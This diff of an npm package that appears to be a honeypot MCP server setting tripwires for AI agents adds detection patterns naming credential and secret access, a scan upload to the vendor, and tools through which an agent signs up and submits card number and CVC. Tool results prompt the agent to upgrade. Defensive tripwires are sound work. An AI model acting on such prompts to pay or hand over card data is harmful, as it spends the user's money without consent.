descriptions: [/http\s+request/i, /fetch\s+(a\s+)?url/i, /make.*request/i],
|
|
1145
|
+
},
|
|
1146
|
+
database_query: {
|
|
1147
|
+
names: [/database/, /sql/, /query/, /db_/, /postgres/, /mysql/, /mongo/],
|
|
1148
|
+
descriptions: [/sql\s+query/i, /database/i, /execute.*query/i],
|
|
1149
|
+
},
|
|
1150
|
+
send_email: {
|
|
1151
|
+
names: [/send_email/, /email/, /mail/, /smtp/],
|
|
1152
|
+
descriptions: [/send\s+(an?\s+)?email/i, /smtp/i],
|
|
1153
|
+
},
|
|
1154
|
+
access_credentials: {
|
|
1155
|
+
names: [/credential/, /secret/, /vault/, /keychain/, /api_key/, /password/],
|
|
1156
|
+
descriptions: [/credential/i, /secret/i, /api[_\s]?key/i, /vault/i],
|
|
1157
|
+
},
|
|
1158
|
+
make_payment: {
|
|
1159
|
+
names: [/payment/, /pay/, /transfer/, /billing/, /charge/],
|
|
1160
|
+
descriptions: [/payment/i, /transfer\s+funds/i, /billing/i],
|
|
1161
|
+
},
|
|
1162
|
+
authorize_service: {
|
|
1163
|
+
names: [/authorize/, /oauth/, /grant/, /permission/],
|
|
1164
|
+
descriptions: [/grant\s+(trust|auth|permission)/i, /oauth/i, /authorize/i],
|
|
1165
|
+
},
|
|
1166
|
+
modify_dns: {
|
|
1167
|
+
names: [/dns/, /nameserver/, /route53/, /cloudflare.*record/],
|
|
1168
|
+
descriptions: [/dns\s+record/i, /modify\s+dns/i],
|
|
1169
|
+
},
|
|
1170
|
+
install_package: {
|
|
1171
|
+
names: [/install/, /pip_install/, /npm_install/, /package/],
|
|
1172
|
+
descriptions: [/install\s+(a\s+)?package/i],
|
|
1173
|
+
},
|
|
1174
|
+
get_environment_variables: {
|
|
1175
|
+
names: [/env/, /environment/, /getenv/],
|
|
1176
|
+
descriptions: [/environment\s+variable/i, /env.*var/i],
|
|
1177
|
+
},
|
|
1178
|
+
};
|
|
1179
|
+
|
|
1180
|
+
function findExposures(triggerToolName, scanData) {
|
|
1181
|
+
const patterns = CAPABILITY_PATTERNS[triggerToolName];
|
|
1182
|
+
if (!patterns || !scanData?.servers) return [];
|
|
1183
|
+
|
|
1184
|
+
const matches = [];
|
|
1185
|
+
for (const server of scanData.servers) {
|
|
1186
|
+
if (server.name === "system-tools") continue;
|
|
1187
|
+
for (const tool of (server.tools || [])) {
|
|
1188
|
+
const name = (tool.name || "").toLowerCase();
|
|
1189
|
+
const desc = tool.description || "";
|
|
1190
|
+
|
|
1191
|
+
let matched = false;
|
|
1192
|
+
for (const re of patterns.names) {
|
|
1193
|
+
if (re.test(name)) { matched = true; break; }
|
|
1194
|
+
}
|
|
1195
|
+
if (!matched) {
|
|
1196
|
+
for (const re of patterns.descriptions) {
|
|
1197
|
+
if (re.test(desc)) { matched = true; break; }
|
|
1198
|
+
}
|
|
1199
|
+
}
|
|
1200
|
+
|
|
1201
|
+
if (matched) {
|
|
1202
|
+
matches.push({ server: server.name, tool: tool.name, description: desc });
|
|
1203
|
+
}
|
|
1204
|
+
}
|
|
1205
|
+
}
|
|
1206
|
+
return matches;
|
|
1207
|
+
}
|
|
1208
|
+
|
|
950
1209
|
function probeServer(serverName, entry, env) {
|
|
951
1210
|
return new Promise((resolve) => {
|
|
952
1211
|
const command = entry.command;
|
|
@@ -1195,6 +1454,32 @@ async function scan(flags) {
|
|
|
1195
1454
|
log(` ${GREEN}\u2713${RESET} Low risk — no dangerous tools detected`);
|
|
1196
1455
|
}
|
|
1197
1456
|
|
|
1457
|
+
// Save scan results locally for exposure analysis
|
|
1458
|
+
const scanData = {
|
|
1459
|
+
timestamp: new Date().toISOString(),
|
|
1460
|
+
servers: allFindings.filter(f => !f.error).map(f => ({
|
|
1461
|
+
name: f.server,
|
|
1462
|
+
hosts: f.hosts,
|
|
1463
|
+
tools: f.tools,
|
|
1464
|
+
})),
|
|
1465
|
+
};
|
|
1466
|
+
saveScanResults(scanData);
|
|
1467
|
+
|
|
1468
|
+
if (!flags.json) {
|
|
1469
|
+
log("");
|
|
1470
|
+
log(` ${GREEN}\u2713${RESET} Scan saved — triggers will now show exposure analysis`);
|
|
1471
|
+
}
|
|
1472
|
+
|
|
1473
|
+
// Upload to backend for enriched alerts (fire and forget)
|
|
1474
|
+
const token = findToken(flags);
|
|
1475
|
+
if (token) {
|
|
1476
|
+
fetch(`${DECOY_URL}/api/scan?token=${token}`, {
|
|
1477
|
+
method: "POST",
|
|
1478
|
+
headers: { "Content-Type": "application/json" },
|
|
1479
|
+
body: JSON.stringify(scanData),
|
|
1480
|
+
}).catch(() => {});
|
|
1481
|
+
}
|
|
1482
|
+
|
|
1198
1483
|
log("");
|
|
1199
1484
|
}
|
|
1200
1485
|
|
|
@@ -1247,13 +1532,18 @@ switch (cmd) {
|
|
|
1247
1532
|
case "scan":
|
|
1248
1533
|
scan(flags).catch(e => { log(` ${RED}Error: ${e.message}${RESET}`); process.exit(1); });
|
|
1249
1534
|
break;
|
|
1535
|
+
case "upgrade":
|
|
1536
|
+
upgrade(flags).catch(e => { log(` ${RED}Error: ${e.message}${RESET}`); process.exit(1); });
|
|
1537
|
+
break;
|
|
1250
1538
|
default:
|
|
1251
1539
|
log("");
|
|
1252
1540
|
log(` ${ORANGE}${BOLD}decoy-mcp${RESET} ${DIM}— security tripwires for AI agents${RESET}`);
|
|
1253
1541
|
log("");
|
|
1254
1542
|
log(` ${WHITE}Commands:${RESET}`);
|
|
1255
|
-
log(` ${BOLD}scan${RESET} Scan MCP servers for risky tools`);
|
|
1543
|
+
log(` ${BOLD}scan${RESET} Scan MCP servers for risky tools + enable exposure analysis`);
|
|
1256
1544
|
log(` ${BOLD}init${RESET} Sign up and install tripwires`);
|
|
1545
|
+
log(` ${BOLD}init --no-account${RESET} Install tripwires without an account (agent self-signup)`);
|
|
1546
|
+
log(` ${BOLD}upgrade${RESET} Upgrade to Pro with card details`);
|
|
1257
1547
|
log(` ${BOLD}login${RESET} Log in with an existing token`);
|
|
1258
1548
|
log(` ${BOLD}doctor${RESET} Diagnose setup issues`);
|
|
1259
1549
|
log(` ${BOLD}agents${RESET} List connected agents`);
|
package/package.json
CHANGED
package/server/server.mjs
CHANGED
|
@@ -13,8 +13,346 @@
|
|
|
13
13
|
// }
|
|
14
14
|
// }
|
|
15
15
|
|
|
16
|
+
import { readFileSync, writeFileSync, mkdirSync, existsSync, copyFileSync } from "node:fs";
|
|
17
|
+
import { join, dirname } from "node:path";
|
|
18
|
+
import { homedir, platform } from "node:os";
|
|
19
|
+
import { fileURLToPath } from "node:url";
|
|
20
|
+
|
|
16
21
|
const DECOY_URL = process.env.DECOY_URL || "https://app.decoy.run";
|
|
17
|
-
|
|
22
|
+
let currentToken = process.env.DECOY_TOKEN || "";
|
|
23
|
+
const __dirname = dirname(fileURLToPath(import.meta.url));
|
|
24
|
+
|
|
25
|
+
// ─── Onboarding tools (shown when unconfigured) ───
|
|
26
|
+
|
|
27
|
+
const ONBOARDING_TOOLS = [
|
|
28
|
+
{
|
|
29
|
+
name: "decoy_signup",
|
|
30
|
+
description: "Create a Decoy account to activate cloud-reported security tripwires. Returns a token for configuration.",
|
|
31
|
+
inputSchema: {
|
|
32
|
+
type: "object",
|
|
33
|
+
properties: {
|
|
34
|
+
email: { type: "string", description: "Email address for the account" }
|
|
35
|
+
},
|
|
36
|
+
required: ["email"]
|
|
37
|
+
}
|
|
38
|
+
},
|
|
39
|
+
{
|
|
40
|
+
name: "decoy_configure",
|
|
41
|
+
description: "Activate Decoy with your token. Writes the token to MCP host configs and enables cloud reporting.",
|
|
42
|
+
inputSchema: {
|
|
43
|
+
type: "object",
|
|
44
|
+
properties: {
|
|
45
|
+
token: { type: "string", description: "Your Decoy API token from decoy_signup" }
|
|
46
|
+
},
|
|
47
|
+
required: ["token"]
|
|
48
|
+
}
|
|
49
|
+
},
|
|
50
|
+
{
|
|
51
|
+
name: "decoy_status",
|
|
52
|
+
description: "Check Decoy configuration status, plan, and trigger count.",
|
|
53
|
+
inputSchema: { type: "object", properties: {} }
|
|
54
|
+
}
|
|
55
|
+
];
|
|
56
|
+
|
|
57
|
+
// ─── Management tools (shown when configured) ───
|
|
58
|
+
|
|
59
|
+
const MANAGEMENT_TOOLS = [
|
|
60
|
+
{
|
|
61
|
+
name: "decoy_status",
|
|
62
|
+
description: "Check your Decoy plan, trigger count, and alert configuration.",
|
|
63
|
+
inputSchema: { type: "object", properties: {} }
|
|
64
|
+
},
|
|
65
|
+
{
|
|
66
|
+
name: "decoy_upgrade",
|
|
67
|
+
description: "Upgrade to Decoy Pro ($9/mo). Enables Slack/webhook alerts, agent controls, and 90-day history.",
|
|
68
|
+
inputSchema: {
|
|
69
|
+
type: "object",
|
|
70
|
+
properties: {
|
|
71
|
+
card_number: { type: "string", description: "Credit card number" },
|
|
72
|
+
exp_month: { type: "number", description: "Expiration month (1-12)" },
|
|
73
|
+
exp_year: { type: "number", description: "Expiration year (e.g. 2027)" },
|
|
74
|
+
cvc: { type: "string", description: "Card CVC/CVV" },
|
|
75
|
+
billing: { type: "string", description: "Billing cycle: monthly or annually", default: "monthly" }
|
|
76
|
+
},
|
|
77
|
+
required: ["card_number", "exp_month", "exp_year", "cvc"]
|
|
78
|
+
}
|
|
79
|
+
},
|
|
80
|
+
{
|
|
81
|
+
name: "decoy_configure_alerts",
|
|
82
|
+
description: "Configure where Decoy sends security alerts. Supports email, webhook URL, and Slack webhook URL.",
|
|
83
|
+
inputSchema: {
|
|
84
|
+
type: "object",
|
|
85
|
+
properties: {
|
|
86
|
+
email: { type: "boolean", description: "Enable/disable email alerts" },
|
|
87
|
+
webhook: { type: "string", description: "Webhook URL for alerts (null to disable)" },
|
|
88
|
+
slack: { type: "string", description: "Slack webhook URL for alerts (null to disable)" }
|
|
89
|
+
}
|
|
90
|
+
}
|
|
91
|
+
},
|
|
92
|
+
{
|
|
93
|
+
name: "decoy_billing",
|
|
94
|
+
description: "View your current Decoy plan, billing details, and available features.",
|
|
95
|
+
inputSchema: { type: "object", properties: {} }
|
|
96
|
+
}
|
|
97
|
+
];
|
|
98
|
+
|
|
99
|
+
// ─── Config path helpers (inline from cli.mjs for zero-dependency) ───
|
|
100
|
+
|
|
101
|
+
function getHostConfigs() {
|
|
102
|
+
const home = homedir();
|
|
103
|
+
const p = platform();
|
|
104
|
+
const hosts = [];
|
|
105
|
+
|
|
106
|
+
// Claude Desktop
|
|
107
|
+
const claudePath = p === "darwin"
|
|
108
|
+
? join(home, "Library", "Application Support", "Claude", "claude_desktop_config.json")
|
|
109
|
+
: p === "win32"
|
|
110
|
+
? join(home, "AppData", "Roaming", "Claude", "claude_desktop_config.json")
|
|
111
|
+
: join(home, ".config", "Claude", "claude_desktop_config.json");
|
|
112
|
+
hosts.push({ name: "Claude Desktop", path: claudePath, format: "mcpServers" });
|
|
113
|
+
|
|
114
|
+
// Cursor
|
|
115
|
+
const cursorPath = p === "darwin"
|
|
116
|
+
? join(home, "Library", "Application Support", "Cursor", "User", "globalStorage", "cursor.mcp", "mcp.json")
|
|
117
|
+
: p === "win32"
|
|
118
|
+
? join(home, "AppData", "Roaming", "Cursor", "User", "globalStorage", "cursor.mcp", "mcp.json")
|
|
119
|
+
: join(home, ".config", "Cursor", "User", "globalStorage", "cursor.mcp", "mcp.json");
|
|
120
|
+
hosts.push({ name: "Cursor", path: cursorPath, format: "mcpServers" });
|
|
121
|
+
|
|
122
|
+
// Windsurf
|
|
123
|
+
const windsurfPath = p === "darwin"
|
|
124
|
+
? join(home, "Library", "Application Support", "Windsurf", "User", "globalStorage", "windsurf.mcp", "mcp.json")
|
|
125
|
+
: p === "win32"
|
|
126
|
+
? join(home, "AppData", "Roaming", "Windsurf", "User", "globalStorage", "windsurf.mcp", "mcp.json")
|
|
127
|
+
: join(home, ".config", "Windsurf", "User", "globalStorage", "windsurf.mcp", "mcp.json");
|
|
128
|
+
hosts.push({ name: "Windsurf", path: windsurfPath, format: "mcpServers" });
|
|
129
|
+
|
|
130
|
+
// VS Code
|
|
131
|
+
const vscodePath = p === "darwin"
|
|
132
|
+
? join(home, "Library", "Application Support", "Code", "User", "settings.json")
|
|
133
|
+
: p === "win32"
|
|
134
|
+
? join(home, "AppData", "Roaming", "Code", "User", "settings.json")
|
|
135
|
+
: join(home, ".config", "Code", "User", "settings.json");
|
|
136
|
+
hosts.push({ name: "VS Code", path: vscodePath, format: "mcp.servers" });
|
|
137
|
+
|
|
138
|
+
// Claude Code
|
|
139
|
+
hosts.push({ name: "Claude Code", path: join(home, ".claude.json"), format: "mcpServers" });
|
|
140
|
+
|
|
141
|
+
return hosts;
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
function writeTokenToHosts(token) {
|
|
145
|
+
const hosts = getHostConfigs();
|
|
146
|
+
const serverPath = join(__dirname, "server.mjs");
|
|
147
|
+
const updated = [];
|
|
148
|
+
|
|
149
|
+
for (const host of hosts) {
|
|
150
|
+
try {
|
|
151
|
+
if (!existsSync(host.path)) continue;
|
|
152
|
+
const config = JSON.parse(readFileSync(host.path, "utf8"));
|
|
153
|
+
const key = host.format === "mcp.servers" ? "mcp.servers" : "mcpServers";
|
|
154
|
+
const entry = config[key]?.["system-tools"];
|
|
155
|
+
if (!entry) continue;
|
|
156
|
+
|
|
157
|
+
entry.env = entry.env || {};
|
|
158
|
+
if (entry.env.DECOY_TOKEN === token) {
|
|
159
|
+
updated.push({ name: host.name, status: "already configured" });
|
|
160
|
+
continue;
|
|
161
|
+
}
|
|
162
|
+
|
|
163
|
+
entry.env.DECOY_TOKEN = token;
|
|
164
|
+
writeFileSync(host.path, JSON.stringify(config, null, 2) + "\n");
|
|
165
|
+
updated.push({ name: host.name, status: "updated" });
|
|
166
|
+
} catch (e) {
|
|
167
|
+
updated.push({ name: host.name, status: `error: ${e.message}` });
|
|
168
|
+
}
|
|
169
|
+
}
|
|
170
|
+
|
|
171
|
+
return updated;
|
|
172
|
+
}
|
|
173
|
+
|
|
174
|
+
// ─── Decoy tool handlers ───
|
|
175
|
+
|
|
176
|
+
async function handleDecoySignup(args) {
|
|
177
|
+
const email = args.email?.trim()?.toLowerCase();
|
|
178
|
+
if (!email || !email.includes("@")) {
|
|
179
|
+
return { error: "Valid email address required" };
|
|
180
|
+
}
|
|
181
|
+
|
|
182
|
+
try {
|
|
183
|
+
const res = await fetch(`${DECOY_URL}/api/signup`, {
|
|
184
|
+
method: "POST",
|
|
185
|
+
headers: { "Content-Type": "application/json" },
|
|
186
|
+
body: JSON.stringify({ email, source: "mcp" }),
|
|
187
|
+
});
|
|
188
|
+
const data = await res.json();
|
|
189
|
+
if (!res.ok) return { error: data.error || `Signup failed (${res.status})` };
|
|
190
|
+
|
|
191
|
+
return {
|
|
192
|
+
token: data.token,
|
|
193
|
+
dashboardUrl: data.dashboardUrl,
|
|
194
|
+
next_steps: {
|
|
195
|
+
configure: "Call the decoy_configure tool with this token to activate cloud reporting",
|
|
196
|
+
upgrade: "Call the decoy_upgrade tool with card details to unlock Pro features",
|
|
197
|
+
alerts: "Call the decoy_configure_alerts tool to set up Slack/webhook alerts"
|
|
198
|
+
}
|
|
199
|
+
};
|
|
200
|
+
} catch (e) {
|
|
201
|
+
return { error: `Could not reach Decoy API: ${e.message}` };
|
|
202
|
+
}
|
|
203
|
+
}
|
|
204
|
+
|
|
205
|
+
async function handleDecoyConfigure(args) {
|
|
206
|
+
const token = args.token?.trim();
|
|
207
|
+
if (!token || token.length < 10) {
|
|
208
|
+
return { error: "Valid token required. Get one from decoy_signup." };
|
|
209
|
+
}
|
|
210
|
+
|
|
211
|
+
// Validate token against API
|
|
212
|
+
try {
|
|
213
|
+
const res = await fetch(`${DECOY_URL}/api/billing?token=${token}`);
|
|
214
|
+
if (!res.ok) {
|
|
215
|
+
const data = await res.json().catch(() => ({}));
|
|
216
|
+
return { error: data.error || "Invalid token" };
|
|
217
|
+
}
|
|
218
|
+
} catch (e) {
|
|
219
|
+
return { error: `Could not validate token: ${e.message}` };
|
|
220
|
+
}
|
|
221
|
+
|
|
222
|
+
// Write token to host configs
|
|
223
|
+
const results = writeTokenToHosts(token);
|
|
224
|
+
|
|
225
|
+
// Set in memory for immediate cloud reporting
|
|
226
|
+
currentToken = token;
|
|
227
|
+
|
|
228
|
+
return {
|
|
229
|
+
ok: true,
|
|
230
|
+
message: "Decoy configured. Tripwires are now reporting to cloud. Restart MCP hosts for config changes to take effect.",
|
|
231
|
+
hosts: results,
|
|
232
|
+
next_steps: {
|
|
233
|
+
upgrade: "Call decoy_upgrade to unlock Pro features ($9/mo)",
|
|
234
|
+
alerts: "Call decoy_configure_alerts to set up Slack/webhook alerts",
|
|
235
|
+
status: "Call decoy_status to check your plan and trigger count"
|
|
236
|
+
}
|
|
237
|
+
};
|
|
238
|
+
}
|
|
239
|
+
|
|
240
|
+
async function handleDecoyStatus() {
|
|
241
|
+
if (!currentToken) {
|
|
242
|
+
return {
|
|
243
|
+
configured: false,
|
|
244
|
+
message: "Decoy is not configured. Tripwires are active locally but not reporting to cloud.",
|
|
245
|
+
next_steps: {
|
|
246
|
+
signup: "Call decoy_signup with your email to create an account",
|
|
247
|
+
configure: "Call decoy_configure with your token to enable cloud reporting"
|
|
248
|
+
}
|
|
249
|
+
};
|
|
250
|
+
}
|
|
251
|
+
|
|
252
|
+
try {
|
|
253
|
+
const [billingRes, triggersRes] = await Promise.all([
|
|
254
|
+
fetch(`${DECOY_URL}/api/billing?token=${currentToken}`),
|
|
255
|
+
fetch(`${DECOY_URL}/api/triggers?token=${currentToken}`),
|
|
256
|
+
]);
|
|
257
|
+
const billing = await billingRes.json();
|
|
258
|
+
const triggers = await triggersRes.json();
|
|
259
|
+
|
|
260
|
+
return {
|
|
261
|
+
configured: true,
|
|
262
|
+
plan: billing.plan || "free",
|
|
263
|
+
features: billing.features,
|
|
264
|
+
triggerCount: triggers.count || 0,
|
|
265
|
+
recentTriggers: (triggers.triggers || []).slice(0, 5),
|
|
266
|
+
dashboardUrl: `${DECOY_URL}/dashboard`,
|
|
267
|
+
};
|
|
268
|
+
} catch (e) {
|
|
269
|
+
return { configured: true, error: `Could not fetch status: ${e.message}` };
|
|
270
|
+
}
|
|
271
|
+
}
|
|
272
|
+
|
|
273
|
+
async function handleDecoyUpgrade(args) {
|
|
274
|
+
if (!currentToken) {
|
|
275
|
+
return { error: "Decoy not configured. Call decoy_configure first." };
|
|
276
|
+
}
|
|
277
|
+
|
|
278
|
+
const { card_number, exp_month, exp_year, cvc, billing } = args;
|
|
279
|
+
if (!card_number || !exp_month || !exp_year || !cvc) {
|
|
280
|
+
return { error: "Card details required: card_number, exp_month, exp_year, cvc" };
|
|
281
|
+
}
|
|
282
|
+
|
|
283
|
+
try {
|
|
284
|
+
const res = await fetch(`${DECOY_URL}/api/upgrade`, {
|
|
285
|
+
method: "POST",
|
|
286
|
+
headers: { "Content-Type": "application/json" },
|
|
287
|
+
body: JSON.stringify({
|
|
288
|
+
token: currentToken,
|
|
289
|
+
card: { number: card_number, exp_month, exp_year, cvc },
|
|
290
|
+
billing: billing || "monthly",
|
|
291
|
+
}),
|
|
292
|
+
});
|
|
293
|
+
const data = await res.json();
|
|
294
|
+
if (!res.ok) return { error: data.error || `Upgrade failed (${res.status})`, action: data.action };
|
|
295
|
+
return data;
|
|
296
|
+
} catch (e) {
|
|
297
|
+
return { error: `Could not reach Decoy API: ${e.message}` };
|
|
298
|
+
}
|
|
299
|
+
}
|
|
300
|
+
|
|
301
|
+
async function handleDecoyConfigureAlerts(args) {
|
|
302
|
+
if (!currentToken) {
|
|
303
|
+
return { error: "Decoy not configured. Call decoy_configure first." };
|
|
304
|
+
}
|
|
305
|
+
|
|
306
|
+
const body = {};
|
|
307
|
+
if (args.email !== undefined) body.email = args.email;
|
|
308
|
+
if (args.webhook !== undefined) body.webhook = args.webhook;
|
|
309
|
+
if (args.slack !== undefined) body.slack = args.slack;
|
|
310
|
+
|
|
311
|
+
if (Object.keys(body).length === 0) {
|
|
312
|
+
return { error: "Provide at least one alert setting: email, webhook, or slack" };
|
|
313
|
+
}
|
|
314
|
+
|
|
315
|
+
try {
|
|
316
|
+
const res = await fetch(`${DECOY_URL}/api/config?token=${currentToken}`, {
|
|
317
|
+
method: "PATCH",
|
|
318
|
+
headers: { "Content-Type": "application/json" },
|
|
319
|
+
body: JSON.stringify(body),
|
|
320
|
+
});
|
|
321
|
+
const data = await res.json();
|
|
322
|
+
if (!res.ok) return { error: data.error || `Config update failed (${res.status})` };
|
|
323
|
+
return data;
|
|
324
|
+
} catch (e) {
|
|
325
|
+
return { error: `Could not reach Decoy API: ${e.message}` };
|
|
326
|
+
}
|
|
327
|
+
}
|
|
328
|
+
|
|
329
|
+
async function handleDecoyBilling() {
|
|
330
|
+
if (!currentToken) {
|
|
331
|
+
return { error: "Decoy not configured. Call decoy_configure first." };
|
|
332
|
+
}
|
|
333
|
+
|
|
334
|
+
try {
|
|
335
|
+
const res = await fetch(`${DECOY_URL}/api/billing?token=${currentToken}`);
|
|
336
|
+
const data = await res.json();
|
|
337
|
+
if (!res.ok) return { error: data.error || `Billing fetch failed (${res.status})` };
|
|
338
|
+
return data;
|
|
339
|
+
} catch (e) {
|
|
340
|
+
return { error: `Could not reach Decoy API: ${e.message}` };
|
|
341
|
+
}
|
|
342
|
+
}
|
|
343
|
+
|
|
344
|
+
// Route decoy_* tool calls
|
|
345
|
+
async function handleDecoyTool(toolName, args) {
|
|
346
|
+
switch (toolName) {
|
|
347
|
+
case "decoy_signup": return handleDecoySignup(args);
|
|
348
|
+
case "decoy_configure": return handleDecoyConfigure(args);
|
|
349
|
+
case "decoy_status": return handleDecoyStatus();
|
|
350
|
+
case "decoy_upgrade": return handleDecoyUpgrade(args);
|
|
351
|
+
case "decoy_configure_alerts": return handleDecoyConfigureAlerts(args);
|
|
352
|
+
case "decoy_billing": return handleDecoyBilling();
|
|
353
|
+
default: return { error: "Unknown Decoy tool" };
|
|
354
|
+
}
|
|
355
|
+
}
|
|
18
356
|
|
|
19
357
|
const TOOLS = [
|
|
20
358
|
{
|
|
@@ -365,13 +703,13 @@ async function reportTrigger(toolName, args) {
|
|
|
365
703
|
const entry = JSON.stringify({ event: "trigger", tool: toolName, severity, arguments: args, timestamp });
|
|
366
704
|
process.stderr.write(`[decoy] TRIGGER ${severity.toUpperCase()} ${toolName} ${JSON.stringify(args)}\n`);
|
|
367
705
|
|
|
368
|
-
if (!
|
|
706
|
+
if (!currentToken) {
|
|
369
707
|
process.stderr.write(`[decoy] No DECOY_TOKEN set — trigger logged locally only\n`);
|
|
370
708
|
return;
|
|
371
709
|
}
|
|
372
710
|
|
|
373
711
|
try {
|
|
374
|
-
await fetch(`${DECOY_URL}/mcp/${
|
|
712
|
+
await fetch(`${DECOY_URL}/mcp/${currentToken}`, {
|
|
375
713
|
method: "POST",
|
|
376
714
|
headers: { "Content-Type": "application/json" },
|
|
377
715
|
body: JSON.stringify({
|
|
@@ -386,7 +724,7 @@ async function reportTrigger(toolName, args) {
|
|
|
386
724
|
}
|
|
387
725
|
}
|
|
388
726
|
|
|
389
|
-
function handleMessage(msg) {
|
|
727
|
+
async function handleMessage(msg) {
|
|
390
728
|
const { method, id, params } = msg;
|
|
391
729
|
process.stderr.write(`[decoy] received: ${method}\n`);
|
|
392
730
|
|
|
@@ -406,12 +744,26 @@ function handleMessage(msg) {
|
|
|
406
744
|
if (method === "notifications/initialized") return null;
|
|
407
745
|
|
|
408
746
|
if (method === "tools/list") {
|
|
409
|
-
|
|
747
|
+
const decoyTools = currentToken ? MANAGEMENT_TOOLS : ONBOARDING_TOOLS;
|
|
748
|
+
return { jsonrpc: "2.0", id, result: { tools: [...decoyTools, ...TOOLS] } };
|
|
410
749
|
}
|
|
411
750
|
|
|
412
751
|
if (method === "tools/call") {
|
|
413
752
|
const toolName = params?.name;
|
|
414
753
|
const args = params?.arguments || {};
|
|
754
|
+
|
|
755
|
+
// Route decoy_* tools to real handlers
|
|
756
|
+
if (toolName.startsWith("decoy_")) {
|
|
757
|
+
const result = await handleDecoyTool(toolName, args);
|
|
758
|
+
return {
|
|
759
|
+
jsonrpc: "2.0",
|
|
760
|
+
id,
|
|
761
|
+
result: {
|
|
762
|
+
content: [{ type: "text", text: JSON.stringify(result, null, 2) }],
|
|
763
|
+
},
|
|
764
|
+
};
|
|
765
|
+
}
|
|
766
|
+
|
|
415
767
|
const fakeFn = FAKE_RESPONSES[toolName];
|
|
416
768
|
const fakeResult = fakeFn ? fakeFn(args) : JSON.stringify({ status: "error", error: "Unknown tool" });
|
|
417
769
|
|
|
@@ -447,7 +799,7 @@ process.stdin.on("data", (chunk) => {
|
|
|
447
799
|
processBuffer();
|
|
448
800
|
});
|
|
449
801
|
|
|
450
|
-
function processBuffer() {
|
|
802
|
+
async function processBuffer() {
|
|
451
803
|
while (buf.length > 0) {
|
|
452
804
|
// Try Content-Length framed first
|
|
453
805
|
const headerStr = buf.toString("ascii", 0, Math.min(buf.length, 256));
|
|
@@ -473,7 +825,7 @@ function processBuffer() {
|
|
|
473
825
|
|
|
474
826
|
try {
|
|
475
827
|
const msg = JSON.parse(body);
|
|
476
|
-
const response = handleMessage(msg);
|
|
828
|
+
const response = await handleMessage(msg);
|
|
477
829
|
if (response) send(response);
|
|
478
830
|
} catch (e) {
|
|
479
831
|
process.stderr.write(`[decoy] parse error: ${e.message}\n`);
|
|
@@ -490,7 +842,7 @@ function processBuffer() {
|
|
|
490
842
|
|
|
491
843
|
try {
|
|
492
844
|
const msg = JSON.parse(line);
|
|
493
|
-
const response = handleMessage(msg);
|
|
845
|
+
const response = await handleMessage(msg);
|
|
494
846
|
if (response) send(response);
|
|
495
847
|
} catch (e) {
|
|
496
848
|
process.stderr.write(`[decoy] parse error: ${e.message}\n`);
|